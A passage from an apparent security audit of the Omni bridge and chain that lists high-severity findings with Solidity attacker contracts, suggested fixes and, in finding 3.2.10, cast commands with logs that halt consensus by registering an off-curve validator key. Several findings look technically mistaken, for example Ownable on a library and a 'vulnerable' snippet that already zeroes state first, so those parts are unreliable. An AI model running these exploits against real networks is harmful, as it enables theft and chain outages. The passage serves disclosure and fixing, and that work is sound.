2. The attacker invokes the `withdraw` function, specifying their address as the `to` parameter and a valid amount.
3. The `require(msg.sender == address(omni))` condition passes as it checks only for the contract address, allowing the withdrawal to proceed.
4. As a result, the attacker successfully withdraws tokens without any authorization.

- Vulnerability Details
- **Vulnerability Type:** Access Control Issue
- **Affected Function:** `withdraw`
- **Location in Code:** `function withdraw(address to, uint256 amount)`

- Impact The impact of this vulnerability is critical. It can lead to the complete loss of tokens from the contract, undermining user trust and potentially causing financial loss for users. Since this function is designed to handle withdrawals securely, any unauthorized access could result in significant token theft.
- Proof of Concept

```
// Assume a malicious contract mimicking the OmniPortal
contract MaliciousOmniPortal {
    OmniBridgeL1 target;

    constructor(address targetAddress) {
        target = OmniBridgeL1(targetAddress);
    }

    function attack(address to, uint256 amount) external {
        // Call the vulnerable withdraw function
        target.withdraw(to, amount);
    }
}
```

- Recommendations To resolve this issue, implement proper access control measures to restrict who can call the `withdraw` function. For example, the function should ensure that only an authorized account or contract can trigger it. Below is a code snippet implementing this fix:

```
// Define a modifier to restrict access
modifier onlyOmniPortal() {
    require(msg.sender == address(omni), "OmniBridge: not authorized");
    _;
}

function withdraw(address to, uint256 amount) external whenNotPaused(ACTION_WITHDRAW) onlyOmniPortal {
    XTypes.MsgContext memory xmsg = omni.xmsg();
    require(xmsg.sender == Predeploys.OmniBridgeNative, "OmniBridge: not bridge");
    require(xmsg.sourceChainId == omni.omniChainId(), "OmniBridge: not omni");

    token.transfer(to, amount);
    emit Withdraw(to, amount);
}
```

By adding the `onlyOmniPortal` modifier, we ensure that only calls from the legitimate `OmniPortal` contract can trigger the `withdraw` function, thereby preventing unauthorized access and improving the security of the contract.

- File Location `OmniBridgeL1.sol`

3.2.2 Unauthorized Withdrawals

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

- Summary The `withdraw` and `_bridge` functions lack proper access controls and reentrancy protection, potentially allowing unauthorized withdrawals and reentrancy attacks.
- Finding Description The `withdraw` function is only authorized by the `msg.sender` being the Omni contract, which poses a significant security risk. If an attacker compromises the Omni contract, they could withdraw tokens at will. Moreover, both `withdraw` and `_bridge` functions invoke `token.transfer` and `token.transferFrom`, which call external contracts. This opens up the contract to potential reentrancy attacks if the token contract allows such calls, breaking the security guarantee of funds integrity.

This issue could manifest in a scenario where an attacker gains access to the Omni contract or can influence its state, allowing them to execute unauthorized withdrawals. Furthermore, if the token being transferred is a malicious contract, it could exploit the contract's state during the token transfer process.

- Vulnerability Details

1. **Unauthorized Withdrawals**: The `withdraw` function does not have adequate checks to ensure that only legitimate calls can be made. Without additional verification, malicious actors could exploit this to drain funds.

2. **Reentrancy Vulnerability**: The use of external calls in both `withdraw` and `_bridge` functions can lead to reentrancy attacks, where a malicious token contract can call back into the `OmniBridgeL1` contract before the original execution completes.

- Impact The impact is high, as it can lead to the loss of funds through unauthorized withdrawals or depletion of contract balance through reentrancy. Both issues could be exploited without immediate detection, undermining user trust and the overall integrity of the contract.
- Proof of Concept To demonstrate the risk, consider the following attack scenario:

1. An attacker compromises the Omni contract.
2. They call the `withdraw` function with an arbitrary address, exploiting the lack of access control.
3. If they have a malicious ERC20 token, they can call back into the contract via `transfer` or `transferFrom`, repeatedly draining funds.

```
// Example of a malicious token contract
contract MaliciousToken {
    OmniBridgeL1 public bridge;

    constructor(OmniBridgeL1 _bridge) {
        bridge = _bridge;
    }

    function attack() external {
        // Call withdraw or bridge functions, initiating a reentrancy attack
        bridge.withdraw(msg.sender, amount);
    }

    // Fallback function to exploit reentrancy
    fallback() external {
        bridge.withdraw(msg.sender, amount);
    }
}
```

- Recommendations

1. **Implement Access Control**: Use a modifier to restrict access to the `withdraw` function, allowing only authorized contracts or accounts to call it. Consider using OpenZeppelin's `Ownable` or a role-based access control pattern.

```
modifier onlyOmni() {
    require(msg.sender == address(omni), "Not authorized");
    _;
}
```

2. **Add Reentrancy Guard**: Introduce a reentrancy guard using OpenZeppelin's `ReentrancyGuard` to prevent reentrant calls during token transfers.

```
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

contract OmniBridgeL1 is OmniBridgeCommon, ReentrancyGuard {
    ...
    function withdraw(address to, uint256 amount) external onlyOmni nonReentrant {
        ...
        token.transfer(to, amount);
        ...
    }
```

By implementing these recommendations, the security posture of the `OmniBridgeL1` contract can be significantly improved, ensuring better protection against unauthorized withdrawals and reentrancy attacks.

3.2.3 Reentrancy Attack Risk

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

- Summary The `OmniBridgeNative` contract is susceptible to reentrancy attacks during the Ether transfer in the `claim` function, which may allow malicious actors to exploit the contract by repeatedly calling the function before the state changes are finalized.
- Finding Description In the `claim` function, the contract uses a low-level `call` to transfer Ether to the claimant. This implementation poses a significant reentrancy risk, as it allows an external contract (controlled by a malicious actor) to call back into the `claim` function before the state variable `claimable[claimant]` is set to zero. This could lead to the attacker draining more funds than intended by exploiting the reentrant call.

The security guarantees at risk include:

- **State Consistency**: The contract relies on the assumption that after a successful Ether transfer, the state will remain consistent. However, if a reentrancy occurs, this assumption is violated.
- **Prevention of Asset Drain**: The contract should ensure that claims can only be processed once per successful claim, but this protection is undermined by the reentrancy possibility.
- Attack Vector

1. An attacker deploys a malicious contract that interacts with the `OmniBridgeNative` contract.
2. The attacker calls the `claim` function, and the transfer of funds to the attacker's address occurs via `call`.
3. Before the state variable is updated, the malicious contract re-invokes the `claim` function.
4. The contract logic allows the malicious contract to execute the claim process multiple times, draining the contract's funds.

- Vulnerability Details The vulnerable part of the code is located in the `claim` function:

```
(uint256 amount = claimable[claimant];
claimable[claimant] = 0;

(bool success,) = to.call{ value: amount }("");
require(success, "OmniBridge: transfer failed");
```

This sequence of operations permits reentrant calls, allowing the malicious actor to manipulate the contract's state before it has fully processed their previous call.

- Impact The impact assessment is high due to the potential for a malicious actor to drain the contract of Ether by exploiting this vulnerability. Successful exploitation could lead to significant financial losses for users relying on the contract for secure bridging of tokens.
- Proof of Concept The following is an example of a malicious contract that could exploit the reentrancy vulnerability:

```
contract Malicious {
    OmniBridgeNative public bridge;

    constructor(address _bridge) {
        bridge = OmniBridgeNative(_bridge);
    }

    function attack(address to) external {
        bridge.claim(to);
    }

    receive() external payable {
        if (address(bridge).balance > 0) {
            bridge.claim(msg.sender);
        }
    }
}
```

In this example, when `attack` is called, it triggers the `claim` function. If `claim` successfully sends Ether before `claimable[claimant]` is set to zero, the `receive` function will be triggered, allowing the attacker to call `claim` again.

- Recommendations To mitigate the risk of reentrancy, follow these recommendations:

1. Implement the checks-effects-interactions pattern, ensuring that state changes occur before external calls.
2. Use a mutex (reentrancy guard) to prevent reentrant calls to sensitive functions.

- Fixed Code Snippet Here is an example of how to implement these recommendations in the `claim` function:

```
function claim(address to) external whenNotPaused(ACTION_WITHDRAW) {
    XTypes.MsgContext memory xmsg = omni.xmsg();

    require(msg.sender == address(omni), "OmniBridge: not xcall");
    require(xmsg.sourceChainId == l1ChainId, "OmniBridge: not L1");
    require(to != address(0), "OmniBridge: no claim to zero");

    address claimant = xmsg.sender;
    uint256 amount = claimable[claimant];
    require(amount > 0, "OmniBridge: nothing to claim");

    // Update the state before the Ether transfer
    claimable[claimant] = 0;

    // Transfer Ether after state change
    (bool success,) = to.call{ value: amount }("");
    require(success, "OmniBridge: transfer failed");

    emit Claimed(claimant, to, amount);
}
```

By moving the state change `claimable[claimant] = 0;` before the call to transfer Ether, this implementation mitigates the risk of reentrancy, ensuring that the same amount cannot be claimed more than once.

- File Location
- `OmniBridgeNative.sol`

3.2.4 Incorrect Use of Mapping

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

- Summary The `validators` mapping is declared with `storage` in the library, which is not allowed. This results in a compilation error and prevents the library from functioning correctly.
- Finding Description The `validators` mapping in the `verify` function is defined as `mapping(address => uint64) storage validators`. However, Solidity libraries cannot maintain state, meaning they cannot use `storage` variables. This design choice violates Solidity's language rules and breaks the contract's intended functionality by making it impossible to compile and deploy.

This vulnerability does not arise from malicious input but rather from the incorrect structure of the contract itself. Because the library cannot store any state, any attempt to use the `validators` mapping will fail, leading to an inability to verify signatures as intended.

- Vulnerability Details
- **Location**: Line with the `validators` mapping in the `verify` function.
- **Nature of the Issue**: Mapping is used incorrectly in a library context, leading to compilation failure.
- Impact This bug prevents the contract from compiling, which means that the intended quorum verification logic cannot be executed. The inability to verify signatures effectively disables any functionality that relies on the `Quorum` library, thus undermining the contract's operational integrity.

- Proof of Concept The issue can be demonstrated by attempting to compile the `Quorum.sol` file with the current `validators` mapping definition. The Solidity compiler will raise an error due to the improper use of state variables in a library.
- Recommendations To resolve this issue, remove the `storage` keyword from the mapping definition. The mapping should be passed to the function in a different manner, such as through an external function call or by using a separate contract to manage validator states.
- Suggested Code Fix

```
function verify(
    bytes32 digest,
    XTypes.SigTuple[] calldata sigs,
    mapping(address => uint64) storage validators, // Remove storage keyword
    uint64 totalPower,
    uint8 qNumerator,
    uint8 qDenominator
) internal view returns (bool) {
    // Rest of the function remains unchanged
}
```

3.2.5 No Checks for Total Power

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

- Summary The `verify` function in `Quorum.sol` does not include checks to ensure that `totalPower` is greater than zero, leading to potential division by zero errors when calculating quorum.
- Finding Description In the `verify` function of the `Quorum` library, there are no safeguards to verify that `totalPower` is greater than zero before it is used in calculations. This oversight breaks the security guarantee of the contract by exposing it to division by zero errors.

When the `votedPower` is calculated against `totalPower` in the `_isQuorum` function, if `totalPower` is zero, it will lead to an exception, causing the transaction to revert. This could be exploited by a malicious actor who can influence the inputs to the `verify` function, potentially leading to denial-of-service conditions for legitimate users if they are unable to perform quorum checks as intended.

- Vulnerability Details
- **Location**: `Quorum.sol`
- **Function**: `verify`
- **Line(s)**: No explicit checks for `totalPower`.
- Impact The lack of checks for `totalPower` can lead to unexpected reverts in the contract, which disrupts the normal operation of quorum verification. In scenarios where `totalPower` is zero, any call to `_isQuorum` will fail, causing legitimate transaction failures and undermining trust in the contract's ability to enforce quorum requirements effectively.
- Proof of Concept Here's an example of how the issue can manifest:

1. A user calls the `verify` function with `totalPower` set to 0.
2. The `verify` function proceeds to execute, eventually calling `_isQuorum`.
3. Inside `_isQuorum`, a division occurs with `totalPower`, leading to a division by zero error.

This results in an exception that halts execution, which can be problematic in scenarios requiring quorum checks.

- Recommendations To mitigate this issue, include a check at the start of the `verify` function to ensure that `totalPower` is greater than zero. If it is not, revert the transaction with an appropriate error message.
- Suggested Code Fix

```
function verify(
    bytes32 digest,
    XTypes.SigTuple[] calldata sigs,
    mapping(address => uint64) storage validators,
    uint64 totalPower,
    uint8 qNumerator,
    uint8 qDenominator
) internal view returns (bool) {
    require(totalPower > 0, "Quorum: total power must be greater than zero");

    uint64 votedPower;
    XTypes.SigTuple calldata sig;

    for (uint256 i = 0; i < sigs.length; i++) {
        sig = sigs[i];

        if (i > 0) {
            XTypes.SigTuple calldata prev = sigs[i - 1];
            require(sig.validatorAddr > prev.validatorAddr, "Quorum: sigs not deduped/sorted");
        }

        require(_isValidSig(sig, digest), "Quorum: invalid signature");

        votedPower += validators[sig.validatorAddr];

        if (_isQuorum(votedPower, totalPower, qNumerator, qDenominator)) return true;
    }

    return false;
}
```

This change ensures that the `verify` function can operate safely and reliably, maintaining the integrity of the quorum verification process.

- File Location `Quorum.sol`

3.2.6 Lack of Access Control

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

- Summary The `XBlockMerkleProof.sol` library lacks access control, allowing any external party to call its verification functions, which could lead to unauthorized verification of Merkle proofs.
- Finding Description The `verify` function within the `XBlockMerkleProof` library is publicly accessible and does not implement any access control mechanisms. This exposes the function to any contract or external user, allowing them to potentially manipulate or verify incorrect data without proper authorization.

This lack of access control breaks the security guarantees related to **data integrity and authenticity**. An attacker could craft malicious inputs and call the `verify` function, leading to incorrect validations and possibly exploiting this behavior in contracts relying on this library for security.

For example, if an unauthorized user sends falsified `blockHeader` or `msgs`, the verification process could falsely succeed, allowing invalid data to propagate through the system, potentially affecting any dependent smart contracts or systems.

- Vulnerability Details
- **Function**: `verify`
- **Access Control**: None implemented
- **Potential Exploitation**: An attacker could execute the `verify` function with arbitrary data, leading to false verifications.
- Impact The impact of this vulnerability is significant, as it compromises the integrity of the verification process. It could allow an attacker to create a situation where malicious transactions are deemed valid, thus undermining the trustworthiness of the entire system utilizing this library.
- Proof of Concept To illustrate this issue, consider the following scenario:

1. An attacker deploys a contract that interacts with `XBlockMerkleProof`.
2. They prepare a set of `msgs` and a manipulated `blockHeader` that does not correspond to the valid Merkle root.
3. They call the `verify` function, passing their crafted data.
4. If the function returns true, this allows the attacker to proceed with further malicious actions based on this false validation.

```
// Malicious contract example
contract MaliciousContract {
    XBlockMerkleProof libraryInstance;

    function exploitVerify(bytes32 root, XTypes.BlockHeader calldata blockHeader, XTypes.Msg[] calldata msgs,
↪  bytes32[] calldata msgProof, bool[] calldata msgProofFlags) external {
        bool isValid = libraryInstance.verify(root, blockHeader, msgs, msgProof, msgProofFlags);
        require(isValid, "Invalid verification!");
        // Proceed with exploiting the validity
    }
}
```

- Recommendations To fix this issue, access control should be implemented in the `verify` function. This can be done using the `onlyOwner` modifier or implementing role-based access controls with OpenZeppelin's `AccessControl`.
- Suggested Code Snippet

```
import "@openzeppelin/contracts/access/Ownable.sol"; // or AccessControl

library XBlockMerkleProof is Ownable {
    ...
    function verify(
        bytes32 root,
        XTypes.BlockHeader calldata blockHeader,
        XTypes.Msg[] calldata msgs,
        bytes32[] calldata msgProof,
        bool[] calldata msgProofFlags
    ) internal view onlyOwner returns (bool) {
        ...
    }
}
```

In this modification, only the owner of the contract would be allowed to call the `verify` function, ensuring that unauthorized entities cannot manipulate the verification process.

- Location

file: `XBlockMerkleProof.sol`

3.2.7 Lack of Input Validation

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

- Summary Lack of input validation in struct definitions can lead to improper data being accepted, which may result in unexpected behavior or vulnerabilities in contract operations.
- Finding Description The structs defined in the `XTypes` library, such as `Msg`, `Submission`, and `Validator`, do not include input validation mechanisms. This omission allows for potential issues where invalid data could be stored in the state, leading to unintended consequences during contract execution.

This lack of validation breaks several security guarantees, including:

- **Data Integrity**: Without validation, the integrity of data structures is compromised, allowing malicious users to introduce erroneous or malicious inputs.
- **Contract Functionality**: Invalid parameters can lead to functions misbehaving, including failures to execute correctly, or excessive gas consumption due to unexpected operations.

For example, if a user submits a `Msg` struct with a `destChainId` or `gasLimit` that is extremely high, it could lead to out-of-gas errors or misdirected transactions. Additionally, a user might create a `Validator` struct

with a zero or invalid address, potentially allowing for misconfigurations in governance or consensus mechanisms.

- Vulnerability Details The vulnerability resides in the absence of checks to ensure the parameters of the structs meet certain criteria. For instance:
- `uint64 destChainId` could be excessively high, leading to misbehavior in subsequent processing.
- `address sender` or `to` can be invalid (e.g., zero address), which can cause issues in address-dependent functions.

If a malicious user crafts a transaction that submits a `Msg` struct with erroneous parameters, these values can propagate through the system, affecting all operations that rely on these parameters without any checks.

- Impact The impact of this vulnerability is high as it can compromise the reliability of the entire cross-chain messaging protocol. Malicious users could exploit this to inject erroneous data, leading to potential financial loss, system failures, or a compromised user experience.
- Proof of Concept An example of a malicious input could be:

```
XTypes.Msg memory msg = XTypes.Msg({
    destChainId: uint64(-1), // Invalid value, exceeds uint64
    shardId: 1,
    offset: 0,
    sender: address(0), // Invalid address
    to: address(0), // Invalid address
    data: "0x1234",
    gasLimit: uint64(-1) // Invalid value, exceeds uint64
});
```

This would allow a malicious user to introduce invalid data into the system, potentially causing out-of-gas issues or executing unintended logic.

- Recommendations To resolve the lack of input validation, the following checks should be implemented in the contract where the structs are instantiated or processed:

1. **Validate Input Ranges**: Ensure that numeric inputs like `destChainId`, `shardId`, and `gasLimit` are checked to be within acceptable ranges.
2. **Check for Valid Addresses**: Ensure that addresses are not zero and potentially add additional checks depending on the business logic.

Here's an example snippet of how to implement input validation in the `Msg` struct creation:

```
function createMsg(
    uint64 _destChainId,
    uint64 _shardId,
    uint64 _offset,
    address _sender,
    address _to,
    bytes memory _data,
    uint64 _gasLimit
) public view returns (XTypes.Msg memory) {
    require(_destChainId > 0, "Invalid destChainId");
    require(_shardId > 0, "Invalid shardId");
    require(_sender != address(0), "Invalid sender address");
    require(_to != address(0), "Invalid target address");
    require(_gasLimit > 0 && _gasLimit <= 10000000, "Invalid gasLimit");

    return XTypes.Msg({
        destChainId: _destChainId,
        shardId: _shardId,
        offset: _offset,
        sender: _sender,
        to: _to,
        data: _data,
        gasLimit: _gasLimit
    });
}
```

By implementing these changes, the integrity and functionality of the contract can be safeguarded against invalid inputs.

- File Location `XTypes.sol`

3.2.8 Lack of access control

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

- Summary The `PausableUpgradeable` contract lacks access control mechanisms, allowing any user to pause and unpause functionality by calling the `_pause`, `_unpause`, `_pauseAll`, and `_unpauseAll` functions. This could lead to unauthorized modifications of the contract's state.
- Finding Description The functions responsible for pausing and unpausing operations are accessible to any address. This breaks the security guarantee of access control, which is essential for sensitive operations in smart contracts. Without proper access restrictions, a malicious actor could exploit this vulnerability by calling these functions, effectively freezing or disrupting critical functionalities of the contract.

For example, if an unauthorized user were to call `_pause(KeyPauseAll)`, they could prevent any operations that depend on this key, potentially locking the contract in a paused state and causing loss of functionality for legitimate users.

- Vulnerability Details
- **Affected Functions**: `_pause`, `_unpause`, `_pauseAll`, `_unpauseAll`.
- **Access Control**: These functions should be restricted to a privileged account (e.g., the owner of the contract).
- **Potential Attack Scenario**: An attacker could invoke these functions using a transaction, leading to unintended disruptions and possible denial of service for legitimate users.
- Impact The impact assessment is rated as high due to the potential for unauthorized control over the contract's operational state. A malicious user could create significant disruptions, especially in contracts that rely on these pause mechanisms for critical functionalities. This could lead to financial losses, loss of trust in the contract, and potential exposure to further attacks.
- Proof of Concept


```
// Assume the following address is a malicious user.
address maliciousUser = 0x123...abc;

// Maliciously calling the pause function
PausableUpgradeable pausableContract = PausableUpgradeable(contractAddress);
pausableContract._pause(KeyPauseAll); // This would be allowed without access control
```

- Recommendations To mitigate this vulnerability, implement an access control mechanism to restrict access to the pausing and unpausing functions. Using an `Ownable` contract or role-based access control can help enforce this restriction.

Here's a code snippet demonstrating how to add access control using the `Ownable` pattern:

```
// Import Ownable contract from OpenZeppelin
import "@openzeppelin/contracts/access/Ownable.sol";

contract PausableUpgradeable is Ownable {
    // ... existing code ...

    /**
     * @notice Pause by key. Only the owner can pause.
     */
    function _pause(bytes32 key) internal onlyOwner {
        PauseableStorage storage $ = _getPauseableStorage();
        require(!$._paused[key], "Pausable: paused");
        $._paused[key] = true;
        emit Paused(key);
    }

    /**
     * @notice Unpause by key. Only the owner can unpause.
     */
    function _unpause(bytes32 key) internal onlyOwner {
        PauseableStorage storage $ = _getPauseableStorage();
        require($._paused[key], "Pausable: not paused");
        $._paused[key] = false;
        emit Unpaused(key);
    }

    // Implement similar changes for _pauseAll and _unpauseAll functions
}
```

This modification ensures that only the contract owner can call the pausing and unpausing functions, thus preserving the security integrity of the contract.

3.2.9 Validator set's `ActivatedHeight` is set incorrectly on update causing the network to halt

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

- Description I the `valsync` module's staking module endblocker wrapper `processAttested()` function is called. It's purpose should be to verify whether some unattested set was attested to and return the validator updates for that set. The initial idea was to make the new validator set *active* exactly two blocks after it was updated:

```
// cometValidatorActiveDelay is the number of blocks after a validator update is provided to
// cometBFT before that set becomes the active set.
// If a validator update is provided to cometBFT in block X, then the new set will become active in block X+2.
const cometValidatorActiveDelay = 2

...

@>  valset.ActivatedHeight = uint64(sdkCtx.BlockHeight()) + cometValidatorActiveDelay
```

However, it turns out that the new validator set is activated right away - making the `valset.ActivatedHeight` value incorrect. Essentially, the `ActiveHeight` value is ignored any time the `valset` is accessed - this was also confirmed with the team.

This causes several inconsistencies throughout the codebase because the `activeSetByHeight()` function will return the stored value rather than the actual height when validator set was updated.

The `activeSetByHeight()` function will return a `nil` validator set due to this check - `setIter.Next()` will be false before we reach the required height:

```
    if set.GetActivatedHeight() <= height {
            valset = set
            break
        }
```

, even though it was already updated for given height and `valsetTable` contains the new set.

So to successfully receive a valid validator set from calling `ActiveSetByHeight()` the node would have to wait for two blocks. Until then, the returned validator set is empty.

Both the `attest` and `valsync` modules use `ActiveSetByHeight()` in `EndBlock()` functions. This means that validator set change will make all nodes halt for two blocks - until current block height reaches the set `ActivatedHeight`. So in case validator set updates are made every one or two blocks, the network will be halted until this problem is solved.

- Proof of Concept This PoC shows how the `ActiveSetByHeight()` function returns an empty validator set, even though the `valsetTable` is filled with the new updated validator set. Paste the test func from this gist into the `halo/valsync/keeper/query_internal_test.go` test file. Run the test with:

```
go test -v ./halo/valsync/keeper -run TestActiveSetByHeightReturnsNil
```

- Recommendation Set the `ActivatedHeight` value correctly in `halo/valsync/keeper/keeper.go:processAttested`

```
-   valset.ActivatedHeight = uint64(sdkCtx.BlockHeight()) + cometValidatorActiveDelay
+   valset.ActivatedHeight = uint64(sdkCtx.BlockHeight())
```

3.2.10 Validator public key that is not on secp256k1 curve will halt the chain

Severity: High Risk

Context: keeper.go#L248-L253

- Description

The validator creation through the staking contract requires to register a validator public key. This public key must be 33 bytes and must be on the SECP256K1 curve.

However, none of the `Staking` contract or the Halo node does verify that the public key is on the SECP256K1 elliptic curve. This leads any x-coordinate that is not on-curve as a validator public key.

When this not-on-curve public key is registered, a `CONSENSUS FAILURE` will be triggered in the `FinalizeBlock` of the Omni chain and the chain will not process EVM blocks anymore. This is due to an impossible decoding in the `valsync` module.

- Code snippet

`Staking.createValidator` does not check that the public key (x-coordinate) is on curve:

```
    /**
     * @notice Create a new validator
     * @param pubkey The validators consensus public key. 33 bytes compressed secp256k1 public key
     * @dev Proxies x/staking.MsgCreateValidator
     */
    function createValidator(bytes calldata pubkey) external payable {
        require(!isAllowlistEnabled || isAllowedValidator[msg.sender], "Staking: not allowed");
        require(pubkey.length == 33, "Staking: invalid pubkey length"); // @POC: Only length is checked
        require(msg.value >= MinDeposit, "Staking: insufficient deposit");

        emit CreateValidator(msg.sender, pubkey, msg.value);            // @POC: Emit a CreateValidator event
    }
```

Then, the `deliverCreateValidator` function decodes the event and create a new validator with this specific public key. It is not checked to be on the SECP256K1 curve.

```
func (p EventProcessor) deliverCreateValidator(ctx context.Context, ev *bindings.StakingCreateValidator) error
{
    pubkey, err := k1util.PubKeyBytesToCosmos(ev.Pubkey) // @POC: public key is not checked, just formatted
↪   for Cosmos
    if err != nil {
        return errors.Wrap(err, "pubkey to cosmos")
    }

    // ... (no checks about the pubkey)

    msg, err := stypes.NewMsgCreateValidator(
        valAddr.String(),
        pubkey,             // @POC: Create a validator with a public key > SECP256K1 prime field
        amountCoin,
        stypes.Description{Moniker: ev.Validator.Hex()},
        stypes.NewCommissionRates(math.LegacyZeroDec(), math.LegacyZeroDec(), math.LegacyZeroDec()),
        math.NewInt(1)) // Stub out minimum self delegation for now, just use 1.
    if err != nil {
        return errors.Wrap(err, "create validator message")
    }

    _, err = skeeper.NewMsgServerImpl(p.sKeeper).CreateValidator(ctx, msg) // @POC: create the validator with
↪   unsupported key
    if err != nil {
        return errors.Wrap(err, "create validator")
    }

    return nil
}
```

As we can see, none of these functions check that the public key is indeed on the elliptic curve.

This leads to a panic in the `FinalizeBlock` process as the validator public key will be decoded and return an error. The `valsync` module will fail to decode the public key and lead to a consensus failure.

```
// insertValidatorSet inserts the current validator set into the database.
func (k *Keeper) insertValidatorSet(ctx context.Context, vals []*Validator, isGenesis bool) (uint64, error) {
    // ...

    for _, val := range vals {
        //...

        pubkey, err := crypto.DecompressPubkey(val.GetPubKey()) // @POC: Key not on curve will return an error
↪   during `FinalizeBlock`
        if err != nil {
            return 0, errors.Wrap(err, "get pubkey")
        }
        powers[crypto.PubkeyToAddress(*pubkey)] = val.GetPower()
    }
```


- Recommendation

Ensure that the 33-byte public key is decodable and on the SECP256K1 curve before proceeding the consensus. When it is not on curve, ignore the staking request.

This can be done at the `deliverCreateValidator` function level in the `evmstaking` module.

- Appendix
- Proof of Concept
- Initial setup

Prerequisites:

- Go
- Docker
- Foundry (especially the `cast` command)

First, run a local devnet. At the root of the repository, run:

```
go run ./e2e -f e2e/manifests/devnet1.toml deploy
```

Wait until the chain is completely running.

Then, monitor the logs from one of the validator:

```
docker logs -f validator01
```

We can read the current EVM block number by executing the following command. Executing it multiple times will show that the block number increases.

```
cast block-number --rpc-url http://127.0.0.1:8002/
```

- Exploit

Create a transaction that interacts with the staking contract to create a validator with a public key that is not on the SECP256K1 curve.

This command will register an invalid public key (not on curve) and lead to consensus failure.

```
cast send 0xCCcCcC0000000000000000000000000000000001 "createValidator(bytes)"
↪  0x02fffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364142  --private-key
↪  "0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80" -r http://127.0.0.1:8000/ --value
↪  10000000000000000000
```

This command will register an valid public key (same value than before but incremented by 1) and will succeed.

```
cast send 0xCCcCcC0000000000000000000000000000000001 "createValidator(bytes)"
↪  0x02fffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364143  --private-key
↪  "0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80" -r http://127.0.0.1:8000/ --value
↪  10000000000000000000
```

- Impact

The Cosmos chain will try to use this new public key but will fail to recognize the public key format as `0x07` is not recognized. This leads to a **CONSENSUS FAILURE**. This can be seen in the logs of the `validator01` container.

```
224-11-02 14:27:49.946 ERRO Finalize req failed [BUG]                height=66 err="insert updates: get
↪  pubkey: invalid public key: x coordinate ffffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364142
↪  is not on the secp256k1 curve" stacktrace="[errors.go:39 keeper.go:251 keeper.go:134 keeper.go:103
↪  module.go:83 module.go:803 app.go:170 baseapp.go:798 abci.go:822 abci.go:887 cmt_abci.go:44 abci.go:95
↪  local_client.go:185 app_conn.go:104 execution.go:224 execution.go:202 state.go:1772 state.go:1682
↪  state.go:1617 state.go:1655 state.go:2335 state.go:2067 state.go:929 state.go:836 asm_amd64.s:1700]"
24-11-02 14:27:49.947 ERRO error in proxyAppConn.FinalizeBlock      module=state err="insert updates: get
↪  pubkey: invalid public key: x coordinate ffffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364142
↪  is not on the secp256k1 curve" stacktrace="[errors.go:39 keeper.go:251 keeper.go:134 keeper.go:103
↪  module.go:83 module.go:803 app.go:170 baseapp.go:798 abci.go:822 abci.go:887 cmt_abci.go:44 abci.go:95
↪  local_client.go:185 app_conn.go:104 execution.go:224 execution.go:202 state.go:1772 state.go:1682
↪  state.go:1617 state.go:1655 state.go:2335 state.go:2067 state.go:929 state.go:836 asm_amd64.s:1700]"
24-11-02 14:27:49.947 ERRO CONSENSUS FAILURE!!!                      module=consensus err="failed to apply
↪  block; error insert updates: get pubkey: invalid public key: x coordinate
↪  ffffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364142 is not on the secp256k1 curve"
  stack=
   goroutine 283 [running]:
   runtime/debug.Stack()
   \t/home/zigtur/go/src/runtime/debug/stack.go:26 +0x5e
   github.com/cometbft/cometbft/consensus.(*State).receiveRoutine.func2()
   \t/home/zigtur/go/pkg/mod/github.com/cometbft/cometbft@v0.38.12/consensus/state.go:801 +0x46
   panic({0x25d4200?, 0xc00a278390?})
   \t/home/zigtur/go/src/runtime/panic.go:785 +0x132
   github.com/cometbft/cometbft/consensus.(*State).finalizeCommit(0xc002297508, 0x42)
   \t/home/zigtur/go/pkg/mod/github.com/cometbft/cometbft@v0.38.12/consensus/state.go:1781 +0xde5
   github.com/cometbft/cometbft/consensus.(*State).tryFinalizeCommit(0xc002297508, 0x42)
   \t/home/zigtur/go/pkg/mod/github.com/cometbft/cometbft@v0.38.12/consensus/state.go:1682 +0x2e8
   github.com/cometbft/cometbft/consensus.(*State).enterCommit.func1()
   \t/home/zigtur/go/pkg/mod/github.com/cometbft/cometbft@v0.38.12/consensus/state.go:1617 +0x9c
   github.com/cometbft/cometbft/consensus.(*State).enterCommit(0xc002297508, 0x42, 0x0)
   \t/home/zigtur/go/pkg/mod/github.com/cometbft/cometbft@v0.38.12/consensus/state.go:1655 +0xc2f
   github.com/cometbft/cometbft/consensus.(*State).addVote(0xc002297508, 0xc00967e750, {0xc000cfeab0, 0x28})
   \t/home/zigtur/go/pkg/mod/github.com/cometbft/cometbft@v0.38.12/consensus/state.go:2335 +0x1c6d
   github.com/cometbft/cometbft/consensus.(*State).tryAddVote(0xc002297508, 0xc00967e750, {0xc000cfeab0?, 0x0?})
   \t/home/zigtur/go/pkg/mod/github.com/cometbft/cometbft@v0.38.12/consensus/state.go:2067 +0x26
   github.com/cometbft/cometbft/consensus.(*State).handleMsg(0xc002297508, {{0x320fb80, 0xc006646c20},
  ↪  {0xc000cfeab0, 0x28}})
   \t/home/zigtur/go/pkg/mod/github.com/cometbft/cometbft@v0.38.12/consensus/state.go:929 +0x38b
   github.com/cometbft/cometbft/consensus.(*State).receiveRoutine(0xc002297508, 0x0)
   \t/home/zigtur/go/pkg/mod/github.com/cometbft/cometbft@v0.38.12/consensus/state.go:836 +0x3f1
   created by github.com/cometbft/cometbft/consensus.(*State).OnStart in goroutine 158
   \t/home/zigtur/go/pkg/mod/github.com/cometbft/cometbft@v0.38.12/consensus/state.go:398 +0x10c
```

Moreover, the EVM block is not increasing anymore.

3.2.11 OMNI is prone to strong liveness issues due to misuse of `VerifyVoteExtension`

Severity: High Risk

Context: keeper.go#L745-L818

- Description

The CometBFT documentation about methods overview indicates the following about the `VerifyVoteExtension`:

